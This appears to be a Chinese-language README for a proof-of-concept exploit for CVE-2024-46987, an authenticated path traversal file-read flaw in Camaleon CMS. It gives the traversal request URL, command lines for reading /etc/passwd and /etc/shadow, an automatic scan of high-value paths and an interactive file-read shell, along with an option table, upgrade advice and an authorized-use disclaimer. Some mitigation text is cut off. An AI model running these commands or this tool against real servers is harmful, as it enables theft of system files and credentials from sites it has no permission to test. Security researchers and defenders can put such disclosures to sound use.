仅限授权的安全评估、渗透测试和教育研究使用。
| 字段 | 详情 |
|---|---|
| CVE | CVE-2024-46987 |
| 产品 | Camaleon CMS |
| 版本 | >= 2.8.0, < 2.8.2(在 2.9.0 上也已确认) |
| 类型 | 路径遍历 / 任意文件读取 (CWE-22) |
| 认证 | 需要(任意低权限账户) |
| CVSS | 7.7 高 — AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N |
| 修复版本 | 2.8.2 |
MediaController#download_private_file 将 params[:file] 未经消毒地传入 fetch_file:
# Vulnerable sink
fetch_file("private/#{params[:file]}")
在值被用于 send_file 之前,未应用任何路径规范化,这允许经过身份验证的攻击者使用 ../ 序列逃逸出 private/ 目录,并读取 Rails 进程有权访问的任意文件。
漏洞端点:
GET /admin/media/download_private_file?file=../../../../../../etc/passwd
requests 库pip3 install requests
usage: CVE-2024-46987.py [-h] -u URL (--cookie COOKIE | -U USERNAME)
[-P PASSWORD] [-f FILE] [-d DEPTH]
[--interesting] [--interactive]
[--no-verify] [--debug]
# Read /etc/passwd (default)
python3 CVE-2024-46987.py -u http://target.com -U admin -P password
# Read a specific file
python3 CVE-2024-46987.py -u http://target.com -U admin -P password -f /etc/shadow
# Scan a list of high-value paths automatically
python3 CVE-2024-46987.py -u http://target.com -U admin -P password --interesting
# Interactive file-read shell
python3 CVE-2024-46987.py -u http://target.com -U admin -P password --interactive
# Single file
python3 CVE-2024-46987.py -u http://target.com \
--cookie "_app_session=XXXX" -f /etc/passwd
# Interactive shell
python3 CVE-2024-46987.py -u http://target.com \
--cookie "_app_session=XXXX; auth_token=YYYY" --interactive
/proc 伪文件的说明/proc/self/ 下的文件(例如 environ、cmdline)返回 HTTP 200 但响应体为空。这是预期行为——内核报告其大小为 0,因此 Rails 的 send_file 不流式传输任何内容。请改用常规平面文件。
将 Camaleon CMS 升级到 2.8.2 或更高版本。该补丁添加了适当的路径规范化,并确保在调用 send_file 之前,解析后的路径仍保持在预期目录内。
或者:
.. 序列的输入。本概念验证发布仅用于教育目的,旨在帮助安全专业人员在授权的测试环境中理解和重现该漏洞。作者不对任何滥用行为负责。在测试不属于您的系统之前,请务必获得明确的书面许可。
| 标志 | 描述 |
|---|
-u | 目标基础 URL |
-U / -P | CMS 用户名和密码 |
--cookie | 原始 Cookie 字符串(凭证替代方案) |
-f | 要读取的文件路径(默认:/etc/passwd) |
-d | 遍历深度 — 前置 ../ 的数量(默认:10) |
--interesting | 遍历内置的高价值路径列表 |
--interactive | 交互式文件读取 Shell |
--no-verify | 禁用 TLS 证书验证 |
--debug | 详细输出以诊断身份验证失败 |